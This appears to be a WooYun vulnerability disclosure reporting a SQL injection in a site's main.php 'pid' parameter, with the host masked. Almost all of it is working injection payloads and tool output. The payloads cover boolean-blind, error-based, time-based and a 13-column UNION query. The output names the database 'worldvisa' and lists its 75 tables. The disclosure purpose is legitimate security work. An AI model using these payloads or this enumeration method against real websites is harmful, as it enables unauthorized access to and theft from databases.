WooYun.org

1,注入点:http://**.**.**.**/main.php?pid=30
2,注入信息
Parameter: pid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pid=30 AND 4433=4433
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: pid=30 AND (SELECT 5796 FROM(SELECT COUNT(*),CONCAT(0x716a786271,(SELECT (ELT(5796=5796,1))),0x717a716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: pid=30 AND (SELECT * FROM (SELECT(SLEEP(5)))Ervl)
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: pid=30 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a786271,0x674d4355694a4c645057,0x717a716271),NULL,NULL,NULL--
---
3,数据库
available databases [2]:
[*] information_schema
[*] worldvisa
4,表
[75 tables]
+---------------------------+
| php_about |
| php_about_include |
| php_about_setup |
| php_ad |
| php_article |
| php_article_dir |
| php_article_dir_include |
| php_article_include |
| php_blog_comm |
| php_blog_logs |
| php_blog_logs_dir |
| php_blog_logs_dir_include |
| php_blog_logs_include |
| php_blog_photo_dir |
| php_blog_setup |
| php_case |
| php_case_dir |
| php_case_dir_include |
| php_case_include |
| php_comment |
| php_comment_list |
| php_contact |
| php_contact_include |
| php_down |
| php_down_dir |
| php_down_dir_include |
| php_down_include |
| php_feedback |
| php_groups |
| php_guest |
| php_link |
| php_link_include |
| php_members |
| php_menu |
| php_mpb |
| php_mpb_dir |
| php_mpb_dir_include |
| php_mpb_include |
| php_news |
| php_news_dir |
| php_news_dir_include |
| php_news_include |
| php_person |
| php_person3 |
| php_person_include |
| php_photo |
| php_photo_dir |
| php_photo_dir_include |
| php_photo_include |
| php_plugins |
| php_product |
| php_product_dir |
| php_product_dir_include |
| php_product_include |
| php_product_orders |
| php_resource |
| php_resource_dir |
| php_resource_dir_include |
| php_resource_include |
| php_service |
| php_service_include |
| php_service_online |
| php_setup |
| php_smtpmail |
| php_stat |
| php_stat_acc |
| php_stat_ipk |
| php_stat_ser |
| php_stat_serkey |
| php_stat_site |
| php_statd |
| php_stath |
| php_statip |
| php_statt |
| php_vote |
+---------------------------+